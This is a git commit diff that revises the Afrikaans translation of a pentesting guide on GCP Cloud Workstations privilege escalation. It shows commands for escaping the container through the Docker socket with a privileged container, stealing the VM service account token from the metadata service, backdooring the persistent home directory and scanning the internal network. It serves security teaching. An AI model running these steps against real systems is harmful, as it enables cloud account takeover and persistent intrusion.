Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat

This commit is contained in:
Translator
2026-03-03 16:11:56 +00:00
parent d3626acd62
commit fa7fa37b0b

View File

@@ -1,22 +1,23 @@
# GCP - Cloud Workstations Privesc
{{#include ../../../banners/hacktricks-training.md}}
### Container Breakout via Docker Socket (Container -> VM -> Project)
Die primêre privilege-escalasie-pad in Cloud Workstations spruit voort uit die behoefte om **Docker-in-Docker (DinD)** workflows vir ontwikkelaars te ondersteun. Wanneer die workstation-konfigurasie die Docker socket mount of geprivilegieerde containers toelaat (n algemene konfigurasie), kan n aanvaller binne die workstation-container na die onderliggende Compute Engine VM ontsnap en die diensrekening-token steel.
Die primêre privilege escalation-pad in Cloud Workstations spruit voort uit die behoefte om **Docker-in-Docker (DinD)** workflows vir ontwikkelaars te ondersteun. Wanneer die workstation-konfigurasie die Docker socket monteer of privileged containers toelaat (’n algemene konfigurasie), kan ’n aanvaller binne die workstation-container na die onderliggende Compute Engine VM ontsnap en sy service account token steel.
**Vereistes:**
- Toegang tot n Cloud Workstation-terminal (via SSH, gekompromitteerde sessie, of gesteelde kredensiale)
- Die workstation-konfigurasie moet `/var/run/docker.sock` mount of geprivilegieerde containers toelaat
**Prerequisites:**
- Toegang tot 'n Cloud Workstation-terminal (via SSH, gekompromitteerde sessie, of gesteelde inlogbewyse)
- Die workstation-konfigurasie moet `/var/run/docker.sock` monteer of privileged containers toelaat
**Argitektuurkonteks:** Die workstation is n container (Laag 3) wat op n Docker/Containerd runtime (Laag 2) op n GCE VM (Laag 1) loop. Die Docker socket gee direkte toegang tot die gasheer se container runtime.
Argitektuurskonteks: Die workstation is 'n container (Layer 3) wat op 'n Docker/Containerd runtime (Layer 2) op 'n GCE VM (Layer 1) loop. Die Docker socket bied direkte toegang tot die host se container runtime.
> [!NOTE]
> Die tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatiseer die volledige container escape en plaas jou in n root-shell op die gasheer-VM.
> Die hulpmiddel [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatiseer die volledige container escape en plaas jou in 'n root shell op die host VM.
<details>
<summary>Stap 1: Kontroleer die Docker-socket</summary>
<summary>Stap 1: Kontroleer vir Docker socket</summary>
```bash
# Verify the Docker socket is available
ls -l /var/run/docker.sock
@@ -26,9 +27,9 @@ ls -l /var/run/docker.sock
<details>
<summary>Stap 2: Ontsnap na die gasheer VM-lêerstelsel</summary>
<summary>Stap 2: Ontsnap na die host VM-lêerstelsel</summary>
Ons begin 'n bevoorregte container en koppel die gasheer se wortelgids aan `/mnt/host`. Ons deel ook die gasheer se netwerk en PID-naamruimte om sigbaarheid te maksimeer.
Ons loods 'n privileged container en mount die host se root directory na `/mnt/host`. Ons deel ook die host se network en PID namespace om sigbaarheid te maksimeer.
```bash
# Spawn a privileged container mounting the host's root filesystem
docker run -it --rm --privileged --net=host --pid=host \
@@ -44,7 +45,7 @@ Jy het nou 'n **root shell op die onderliggende Compute Engine VM** (Laag 1).
<details>
<summary>Stap 3: Steel die VM service account token vanaf IMDS</summary>
<summary>Stap 3: Steel die VM service account token van IMDS</summary>
```bash
# From the host VM, query the Instance Metadata Service
curl -s -H "Metadata-Flavor: Google" \
@@ -62,15 +63,15 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
> [!CAUTION]
> **Kontroleer die Scopes!**
> Selfs as die aangekoppelde Service Account **Editor** is, kan die VM deur toegangsskope beperk wees.
> Selfs al is die aangehegte Service Account **Editor**, kan die VM deur access scopes beperk wees.
> As jy `https://www.googleapis.com/auth/cloud-platform` sien, het jy volle toegang.
> As jy slegs `logging.write` en `monitoring.write` sien, is jy beperk tot die **Network Pivot** en **Persistence** vektore hieronder.
> As jy slegs `logging.write` en `monitoring.write` sien, is jy beperk tot die **Network Pivot** en **Persistence** vectors hieronder.
<details>
<summary>Stap 4: Achieve Persistence (Backdoor the User)</summary>
Cloud Workstations koppel 'n persistent disk aan `/home/user`. Omdat die container user (gewoonlik `user`, UID 1000) ooreenstem met die host user (UID 1000), kan jy na die host se tuisgids skryf. Dit stel jou in staat om die omgewing te backdoor selfs al word die workstation container herbou.
Cloud Workstations mount a persistent disk to `/home/user`. Omdat die container user (gewoonlik `user`, UID 1000) ooreenstem met die host user (UID 1000), kan jy na die host se tuisgids skryf. Dit stel jou in staat om die omgewing te backdoor selfs al word die workstation container herbou.
```bash
# Check if you can write to the host's persistent home
ls -la /mnt/host/home/user/
@@ -94,3 +95,7 @@ apk add nmap
nmap -sS -p 80,443,22 10.0.0.0/8
```
</details>
{{#include ../../../banners/hacktricks-training.md}}